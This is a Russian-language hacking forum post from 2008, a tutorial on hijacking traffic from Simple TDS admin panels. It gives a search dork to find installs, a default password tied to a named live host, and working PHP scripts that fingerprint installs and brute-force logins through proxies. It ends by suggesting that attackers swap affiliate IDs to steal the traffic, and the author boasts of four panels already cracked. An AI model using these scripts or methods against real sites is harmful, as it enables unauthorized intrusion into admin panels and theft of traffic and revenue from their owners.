Antichat снова доступен.
Форум Antichat (Античат) возвращается и снова открыт для пользователей.
Здесь обсуждаются безопасность, программирование, технологии и многое другое.
Сообщество снова собирается вместе.
Новый адрес: forum.antichat.xyz

25.06.2008, 02:25
|
|
Постоянный
Регистрация: 30.09.2007
Сообщений: 815
Провел на форуме: 2590715
Репутация:
659
|
|
Угон трафика с Tds
Угон трафика с TDS
на примере Simple TDS
[0] ИНТРО
Ежедневно огромные объемы трафика протекают через множество TDS, но очень часто администраторы TDS (которые по идее должны быть далеко не ламерами) ставят элементарные пароли на админку или вообще оставляют те пароли, которые стояли по умолчанию. Рассмотрим, как можно быстро угнать траф на примере Simple TDS.
[1] ПРЕЦЕДЕНТ
Например, недавно на форуме кто-то поднял вопрос о том, что подцепил вирус, который добавляет свою ссылку http://casinopills.com/ukrainskomu_narodu/ ко всем полям ввода в Internet Explorer.
Ссылка редиректила на casinopills.com/tds/go.php?sid=2 , URL напоминает популярную бесплатную систему управления трафиком Simple TDS, проверим: http://casinopills.com/tds/header.php
Действительно: Simple TDS v1.1beta (free). (No MySQL version). Вход в админку находится по адресу: http://casinopills.com/tds/index.php
При этом человек, запустивший вирус в сеть, почему-то не додумался изменить пароль на вход в админку и оставил дефолтовый. Его можно узнать, если скачать движок данной версии с сайта автора, кстати пароль не изменился до сих пор "112233"
[2] ГУГЛ
Google всегда придет на помощь в поиске уязвимых скриптов и не только, поэтому поможет и сейчас. Что нам нужно - это найти и отпарсить несколько сотен-тысяч ссылок на TDS, поисковый запрос имеет следующий вид: inurl:"go.php?sid="
Парсер выдачи поисковика можно писать самому или найти в инете. В результате получим массив записей вида http://www.host.com/path/go.php?sid=... , отсюда нужно отрезать все начиная с go.php, после чего провести проверку действительно ли это Simple TDS, проверяя содержится ли сигнатура "Simple TDS" в http://www.host.com/path/header.php
PHP код:
$url = trim($urls[$i]);
$url = substr($url, 7, strlen($url)); //cut "http://"
$slash = strpos($url, "/"); //first slash position
$host = substr($url, 0, $slash);
$path = substr($url, $slash, strlen($url));
$header = $path."header.php";
$conn = fsockopen($host, 80, $errno, $errstr, 10);
if ($conn){
$out = "GET $header HTTP/1.0\r\n";
$out.= "Host: $host\r\n\r\n";
fwrite($conn, $out);
$page="";
while (!feof($conn)){
$page.= fgets($conn, 128);
}
fclose($conn);
if (strpos($page, "Simple TDS")){
echo "<b>SimpleTDS found: $host$header</b> <br>\r\n";
flush();
$fout = fopen($foutput, "a");
fwrite($fout, "$host$path\r\n");
fclose($fout);
$i++;
}
else{
echo "not a tds: $host$header <br>\r\n";
flush();
$i++;
}
}
else{
echo "Error connection $host Waiting 2 sec <br>\r\n";
flush();
sleep(2);
}
На выходе получаем список URL всех найденых поисковиком TDS.
[3] БРУТФОРС
Прежде чем вести перебор по большим словарям, имеет смысл провести предварительную брут-атаку по дефолтовым паролям, так как часто админы оставляют именно их, не думая, что кому-то всбредет в голову ломиться в их TDS 
Итак, составляем небольшой словарик вида
Код:
112233
123456
admin
password
После чего напишем функции логина и простейшего брутера по словарю. Например:
PHP код:
function login($host, $path, $proxy, $pass){ // 0 wrong pass
// 1 good pass!
// 666 connection error
$cont = "pass=".urlencode($pass);
$check = "Simple TDS";
$len = strlen($cont);
if (strlen($proxy)){
$pr = explode(":", $proxy);
$p_host = $pr[0];
$p_port = $pr[1];
$conn = fsockopen($p_host, $p_port, $errno, $errstr, 30);
$out = "POST http://$host$path HTTP/1.0\r\n";
$out.= "Host: $host\r\n";
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
$out.= "Content-Length: $len\r\n\r\n";
$out.= $cont;
}
else {
$conn = fsockopen($host, 80, $errno, $errstr, 30);
$out = "POST $path HTTP/1.0\r\n";
$out.= "Host: $host\r\n";
$out.= "Content-Type: application/x-www-form-urlencoded\r\n";
$out.= "Content-Length: $len\r\n\r\n";
$out.= $cont;
}
if (!$conn){
return 666;
}
else{
fwrite($conn, $out);
$ans="";
while(!feof($conn)){
$ans.=fgets($conn, 128);
}
//echo $ans;
fclose($conn);
if(strpos($ans, $check))
return 1;
else return 0;
}
}
PHP код:
$k=0;
while ($k<sizeof($urls)){
$url = trim($urls[$k]);
$slash = strpos($url, "/"); //first slash position
$host = substr($url, 0, $slash);
$path = substr($url, $slash, strlen($url));
$i=0;
while ($i<$count){
$pass = trim($passwords[$i]);
$b = login($host, $path, $proxy, $pass);
if ($b==666){
writeln("$host Connection error. Pause 2 seconds..."); sleep(2);
}
elseif ($b==0) {
$i++;
writecurr("$host:$passfile:$i");
writelog("trying $host$path:$pass through $proxy - result $b");
if ($i%100==0){
writeln("Tryed ".($i/$count*100)."% ($i of $count)");
writelog("Tryed ".($i/$count*100)."% ($i of $count)");
};
}
elseif ($b==1) {
writeln("<b>URL: $host$path PASSWORD: $pass</b>");
writelog("success:$host$path:$pass");
writegood("$host$path:$pass");
writecurr("$host:stop");
break;
}
}
if ($b==0){ writeln("$host$path not brutted"); };
$k++;
}
[4] АУТРО
Пока писалась эта заметка, из 90 загнанных в скрипт TDS-ов уже 4 сдались брутеру, так как имели дефолтовые пароли 
Что делать с полученными ТДС, я думаю объяснять не надо, совет может быть такой - не перенаправлять сразу же ауты на свою ТДС, а посмотреть куда льётся трафик, возможно там находится партнерка - и достаточно поменять id партнерки на свой.
P.S. Веб-мастера, следите за своей безопасностью и ставьте сложные пароли!
|
|
|
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|